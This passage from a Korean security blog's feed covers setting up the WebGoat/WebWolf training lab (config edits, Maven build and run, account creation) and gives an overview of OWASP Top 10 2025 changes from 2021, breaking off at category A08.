data-origin-height=&quot;82&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;가상 환경이나 컨테이너에서 돌아가는 WebGoat에 호스트 PC의 브라우저로 원활하게 접근하거나, 외부 실습 장치와 통신하기 위해 수행하는 필수 설정이다. 127.0.0.1은 컨테이너 내부 통신만 허용하지만, 0.0.0.0으로 변경하면 모든 인터페이스를 개방하여 호스트 PC(외부)에서의 접속을 허용하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이서 WebWolf 설정 파일도 수정하기 위해 에디터를 실행한다.&lt;/p&gt;
&lt;pre id=&quot;code_1773667224378&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;vi src/main/resources/application-webwolf.properties&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1775309866205&quot; class=&quot;angelscript&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 주석처리
#webgoat.host=${WEBGOAT_HOST:127.0.0.1}
# 추가
webgoat.host=0.0.0.0&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;763&quot; data-origin-height=&quot;77&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EEQk7/dJMcaaLAWwd/lCQGKyWl3u0lNWzQr5Coo1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EEQk7/dJMcaaLAWwd/lCQGKyWl3u0lNWzQr5Coo1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EEQk7/dJMcaaLAWwd/lCQGKyWl3u0lNWzQr5Coo1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEEQk7%2FdJMcaaLAWwd%2FlCQGKyWl3u0lNWzQr5Coo1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;763&quot; height=&quot;77&quot; data-origin-width=&quot;763&quot; data-origin-height=&quot;77&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;설정이 완료되었다면 Maven을 통해 프로젝트를 빌드하고 실행한다.&lt;/p&gt;
&lt;pre id=&quot;code_1773667519202&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;./mvnw clean install&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;BUILD SUCCESS라는 문구가 보이면 빌드가 종료된 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1773667558587&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;./mvnw spring-boot:run&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위 명령어로 빌드 된 WebGoat 프로젝트를 실행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;실행이 완료되면 웹 브라우저 주소창에 아래 주소를 입력하여 접속한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;35,0,0&quot;&gt;WebGoat:&lt;/b&gt; http://localhost:8080/WebGoat&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;35,1,0&quot;&gt;WebWolf:&lt;/b&gt; http://localhost:9090/WebWolf&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;- WebGoat 계정 생성&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Mfeja/dJMcaiixNlo/uwSFUIlAe8JA93gebKHx50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Mfeja/dJMcaiixNlo/uwSFUIlAe8JA93gebKHx50/img.png&quot; data-origin-width=&quot;352&quot; data-origin-height=&quot;456&quot; data-is-animation=&quot;false&quot; style=&quot;width: 27.0664%; margin-right: 10px;&quot; data-widthpercent=&quot;27.38&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Mfeja/dJMcaiixNlo/uwSFUIlAe8JA93gebKHx50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMfeja%2FdJMcaiixNlo%2FuwSFUIlAe8JA93gebKHx50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;352&quot; height=&quot;456&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cupHgK/dJMcabjsioC/xE7sMGP9crwINJTgrmbaEk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cupHgK/dJMcabjsioC/xE7sMGP9crwINJTgrmbaEk/img.png&quot; data-origin-width=&quot;1746&quot; data-origin-height=&quot;853&quot; data-is-animation=&quot;false&quot; style=&quot;width: 71.7708%;&quot; data-widthpercent=&quot;72.62&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cupHgK/dJMcabjsioC/xE7sMGP9crwINJTgrmbaEk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcupHgK%2FdJMcabjsioC%2FxE7sMGP9crwINJTgrmbaEk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1746&quot; height=&quot;853&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;WebGoat에 접속한 후 사용자 등록을 클릭하여 사용자명과 패스워드를 등록한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2880&quot; data-origin-height=&quot;892&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZTI2V/dJMcahRs1EL/PH1yU4U43br1jptFzvEa00/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZTI2V/dJMcahRs1EL/PH1yU4U43br1jptFzvEa00/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZTI2V/dJMcahRs1EL/PH1yU4U43br1jptFzvEa00/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZTI2V%2FdJMcahRs1EL%2FPH1yU4U43br1jptFzvEa00%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2880&quot; height=&quot;892&quot; data-origin-width=&quot;2880&quot; data-origin-height=&quot;892&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;등록한 사용자명과 패스워드로 로그인하면 WebGoat 페이지를 만날 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;컨테이너 종료 시 exit 명령어를 사용하거나 Ctrl + d로 logout 하면 자동으로 컨테이너가 종료된다. docker ps 혹은 docker ps &amp;ndash;a 명령으로 현재 실행 중인 컨테이너 목록을 확인할 수 있다. 이후 실습을 위해 재가동 시 Docker Desktop을 이용하거나 docker start webgoat를 입력해주면 된다.&lt;/p&gt;</description>
      <category>Web</category>
      <category>WebGoat</category>
      <author>chon29</author>
      <guid isPermaLink="true">https://chon29.tistory.com/45</guid>
      <comments>https://chon29.tistory.com/45#entry45comment</comments>
      <pubDate>Mon, 16 Mar 2026 22:35:58 +0900</pubDate>
    </item>
    <item>
      <title>OWASP Top 10 2025</title>
      <link>https://chon29.tistory.com/44</link>
      <description>&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;a style=&quot;background-color: #ffffff; color: #333333; text-align: left;&quot; href=&quot;https://owasp.org/&quot;&gt;OWASP&lt;/a&gt;&lt;span style=&quot;background-color: #ffffff; text-align: left;&quot;&gt;(Open Web Application Security Project, 국제 웹 보안 표준기구)는 소프트웨어 보안 향상을 목적으로 활동하는 글로벌 비영리 재단이다. 웹 애플리케이션 보안에 관한 표준 가이드와 도구를 개발 및 배포하며 전 세계적인 보안 수준 향상에 기여하고 있다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;a style=&quot;color: #333333;&quot; href=&quot;https://owasp.org/Top10/2025/&quot;&gt;OWASP Top 10&lt;/a&gt;은 &lt;span style=&quot;font-size: 1.12em; letter-spacing: 0px;&quot;&gt;웹 애플리케이션에 대한 가장 중요한 10가지 위험을 다루며, 취약점의 순위가 아닌 위험(Risks)의 순위다. 또한, 데이터 기반으로 이루어진 인식 재고를 위한 문서이며,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 1.12em; letter-spacing: 0px;&quot;&gt;약 3~4년 주기로 업데이트된다.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 1.12em; letter-spacing: 0px;&quot;&gt;표준이나 규정 준수 체크리스트가 아닌, 조직이 보안 위험에 우선순위를 부여하도록 돕는 역할을 한다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;letter-spacing: 0px; color: #333333;&quot;&gt; &lt;span style=&quot;text-align: start;&quot;&gt;본격적인 WebGoat 실습에 앞서,&lt;/span&gt; &lt;span style=&quot;text-align: start;&quot;&gt;최근 업데이트된&amp;nbsp;&lt;/span&gt;&lt;b data-path-to-node=&quot;5&quot; data-index-in-node=&quot;30&quot;&gt;2025년판&lt;/b&gt;을 기준으로 이전 버전(2021)과 비교하여 OWASP Top 10에는 &lt;span style=&quot;text-align: start;&quot;&gt;&amp;nbsp;어떤 순위 변동과 새로운 취약점이 등장했는지&lt;/span&gt;에 대해 작성하겠다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1234&quot; data-origin-height=&quot;353&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dWTr1j/dJMcaiWQPil/CJkEapFNDsGkyCKexU3CN1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dWTr1j/dJMcaiWQPil/CJkEapFNDsGkyCKexU3CN1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dWTr1j/dJMcaiWQPil/CJkEapFNDsGkyCKexU3CN1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdWTr1j%2FdJMcaiWQPil%2FCJkEapFNDsGkyCKexU3CN1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1234&quot; height=&quot;353&quot; data-origin-width=&quot;1234&quot; data-origin-height=&quot;353&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt; 2025년 Top 10에는 두 개의 새로운 카테고리가 추가되었고, 한 개의 카테고리가 통합되었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-path-to-node=&quot;2,0&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;2,0&quot;&gt;[ OWASP Top 10 2021과 2025의 주요 차이점 ]&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-path-to-node=&quot;2,1&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;① &lt;b data-index-in-node=&quot;2&quot; data-path-to-node=&quot;2,1&quot;&gt;Security Misconfiguration의 상승 (5위 &amp;rarr; 2위):&lt;/b&gt; 클라우드 및 IaC(코드형 인프라) 환경 확산으로 인해 보안 설정 오류가 가장 흔하고 치명적인 위험 중 하나로 부상함. &lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;2,1&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;② &lt;b data-index-in-node=&quot;113&quot; data-path-to-node=&quot;2,1&quot;&gt;Software Supply Chain Failures의 신규 등재 및 확장:&lt;/b&gt; 기존 '취약한 구성 요소(A6)'를 넘어 &lt;span style=&quot;background-color: #fcfcfc; text-align: left;&quot;&gt;오픈소스 라이브러리와 빌드 파이프라인 전체를 관리해야 하는&lt;/span&gt;&amp;nbsp;공급망 전체를 아우르는 개념으로 확장되어 3위로 신규 진입함. &lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;2,1&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;③ &lt;b data-index-in-node=&quot;214&quot; data-path-to-node=&quot;2,1&quot;&gt;SSRF가 단일 항목에서 Broken Access Control로 흡수:&lt;/b&gt; 2021년 10위였던 Server-Side Request Forgery가 권한 제어 실패의 특수한 형태로 간주되어 1위 항목에 통합됨. &lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;2,1&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;④ &lt;b&gt;&lt;span style=&quot;background-color: #fcfcfc; text-align: left;&quot;&gt;Injection, Cryptographic Failures, Insecure Design&lt;/span&gt;의 순위 하락:&lt;/b&gt; &lt;span style=&quot;background-color: #fcfcfc; text-align: left;&quot;&gt;&amp;nbsp;프레임워크 자체의 보안 기능 강화와 자동화된 방어 도구의 보편화로 인해, 과거 핵심이었던 취약점들이 각각 2계단씩 순위가 하락함.&lt;/span&gt; &lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;2,1&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;⑤ &lt;b data-index-in-node=&quot;440&quot; data-path-to-node=&quot;2,1&quot;&gt;Mishandling of Exceptional Conditions 신규 등재:&lt;/b&gt; 시스템의 비정상적 종료나 예외 상황 발생 시 정보 노출이나 보안 로직이 무력화되는 '예외 처리 미흡' 항목이 10위로 새롭게 추가됨.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b&gt;[ OWASP Top 10:2025 주요 취약점 상세 ]&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;h4 data-path-to-node=&quot;3&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3&quot;&gt;A01:2025 &amp;ndash; Broken Access Control (부적절한 인가)&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt; &lt;span style=&quot;text-align: start;&quot;&gt;2021년에 이어 &lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; text-align: start;&quot;&gt;가장 심각한 애플리케이션 보안 위험 요소 1위 자리를 유지하고 있으&lt;span style=&quot;text-align: start;&quot;&gt;며,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; text-align: start;&quot;&gt;위 그림의 점선으로 표시된 것처럼&amp;nbsp;&lt;/span&gt;기존의 SSRF(서버 측 요청 위조)가 이 항목으로 통합되었다. &lt;/span&gt;BAC는 애플리케이션이 사용자가 허용된 권한을 넘어서는 행동을 막지 못할 때 발생한다. 이로 인해 공격자가 권한을 우회하거나, 무단으로 정보 조회&amp;middot;수정&amp;middot;삭제 또는 비즈니스 기능을 수행할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;5&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,0,0&quot;&gt; 대표적인 취약점 :&lt;/b&gt; 타인의 계정 정보 조회(IDOR), SSRF, 권한 없는 관리자 페이지 접근 등&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-path-to-node=&quot;6&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6&quot;&gt;A02:2025 &amp;ndash; Security Misconfiguration (보안 설정 미흡)&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; text-align: start;&quot;&gt;2021년 5위에서 2025년 2위로 상승했다. &lt;span style=&quot;background-color: #ffffff; text-align: start;&quot;&gt;시스템, 애플리케이션, 클라우드 서비스, 컨테이너 또는 IaC 템플릿 등이 보안 관점에서 잘못 설정되거나, 안전하지 않은 기본값을 사용하여 배포될 때 발생하는 위험이다.&lt;/span&gt;&lt;/span&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6&quot;&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;8&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,0,0&quot;&gt; 대표적인 취약점 :&lt;/b&gt; 클라우드 설정 오류(S3 버킷 노출, IAM 과도한 권한 부여 등), CORS(Cross-Origin Resource Sharing) 오설정, 잘못 구성된 HTTP 보안 헤더(예: Content Security Policy), 기본 비밀번호 사용, XXE 외부 엔티티 허용 등&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-path-to-node=&quot;9&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9&quot;&gt;A03:2025 &amp;ndash; Software Supply Chain Failures (소프트웨어 공급망 실패)&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-path-to-node=&quot;10&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt; &lt;b data-path-to-node=&quot;10&quot; data-index-in-node=&quot;0&quot;&gt;2025년 신규 등재&lt;/b&gt;&lt;span style=&quot;text-align: start;&quot;&gt;된 항목으로, &lt;/span&gt;2021년의 &lt;b&gt;A06 취약하고 오래된 구성 요소&lt;/b&gt;를 대체하는 새로운 항목이다. 단순히 오래된 라이브러리를 관리하는 것을 넘어서 사용하는 공급망에서의 문제 및 공급망 관리의 보안까지 포함하는 항목으로 변화했다. &lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;11&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,0,0&quot;&gt; 대표적인 취약점 :&lt;/b&gt; 악성 코드가 삽입된 외부 라이브러리 사용, 변조된 업데이트 배포 등&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-path-to-node=&quot;12&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12&quot;&gt;A04:2025 &amp;ndash; Cryptographic Failures (암호화 문제)&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-path-to-node=&quot;13&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt; 암호학적 결함은 민감한 데이터를 노출시킬 수 있는 암호화 부재, 암호화 강도가 낮은 암호화, 암호화 키 유출 및 하드코딩 된 암호화 키와 같은 문제를 다룬다. &lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-path-to-node=&quot;13&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt; &lt;b data-path-to-node=&quot;11,0,0&quot; data-index-in-node=&quot;0&quot;&gt;대표적인 취약점 :&lt;/b&gt;&lt;span style=&quot;text-align: start;&quot;&gt;&amp;nbsp;&lt;/span&gt; 약한 알고리즘 사용, 부적절한 암호화 키 관리(하드코딩, 키 교체 주기, 키 접근 제어), 데이터 암호화 미흡 등&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-path-to-node=&quot;15&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;15&quot;&gt;A05:2025 &amp;ndash; Injection (인젝션)&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-path-to-node=&quot;16&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; text-align: start;&quot;&gt;3위에서 5위로 두 단계 하락했지만, 암호화 오류 및 안전하지 않은 설계와 관련된 순위는 유지했다.&lt;/span&gt; 신뢰할 수 없는 데이터가 쿼리, 명령어 또는 템플릿으로 유입될 때 발생하며, 애플리케이션이 이를 데이터가 아닌 실행 가능한 코드나 명령어의 일부로 처리하는 위험이다. &lt;span style=&quot;background-color: #ffffff; text-align: start;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;17&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b&gt;대표적인 취약점 :&lt;/b&gt; SQL Injection, Command Injection. XSS(Cross Site Scrip) 등&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-path-to-node=&quot;18&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;18&quot;&gt;A06:2025 &amp;ndash; Insecure Design (안전하지 않은 설계)&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-path-to-node=&quot;19&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; text-align: start;&quot;&gt;Security Misconfiguration과 Software Supply Chain Failures 항목에 밀려 4위에서 6위로 두 단계 하락했다. 이 항목은 2021년에 도입되었으며, 위협 모델링과 보안 설계에 대한 강조가 강화되면서 업계에서 눈에 띄는 개선이 이루어졌다.&lt;/span&gt; 개발의 초기 단계에서 보안을 간과하고 지나쳤다가 뒤놓게 취약점을 발견하면 조치하기가 매우 어렵다. 코딩 단계가 아닌 설계 단계에서 보안 제어가 누락되거나 비효율적일 때 발생하는 위험이다. &lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;20&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;20,0,0&quot;&gt;대표적인 취약점 :&lt;/b&gt; 비즈니스 로직 취약점 류(단체 예매 창구로 예매시 할인이 있으나 1명도 예약이 가능함), 비밀번호 찾기시 질문/답변 기능 제공, 봇의 자동화 공격 대응 미흡 &lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-path-to-node=&quot;21&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;21&quot;&gt;A07:2025 &amp;ndash; Authentication Failures (인증 실패)&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-path-to-node=&quot;22&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt; 공격자가 유효하지 않거나 부정확한 사용자를 정상적인 요청으로 인식하도록 시스템을 속일 수 있게 만드는 위험이다. &lt;span style=&quot;background-color: #ffffff; text-align: start;&quot;&gt;표준화된 인증 프레임워크의 사용이 증가함에 따라 인증 실패 발생 빈도가 감소하는 긍정적인 효과가 나타나고 있다.&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; text-align: start;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;22&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b&gt; # A01(BAC) 과 다른점은? &lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;22&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;A01은 인가(authz)에 초점을 둔다면 A07은 인증(authn)에 초점을 둠&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;23&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;23,0,0&quot;&gt;대표적인 취약점 :&lt;/b&gt; 약한 비밀번호 정책, 크리덴셜 스터핑 및 무차별 대입 공격, MFA 기능 누락/MFA 사용안함, 세션 관리 오류(로그아웃 후에도 세션 토큰 유지, 세션 키가 URL에 노출되는 문제 등) 등&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-path-to-node=&quot;24&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;24&quot;&gt;A08:2025 &amp;ndash; Software or Data Integrity Failures (소프트웨어 및 데이터 무결성 문제)&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
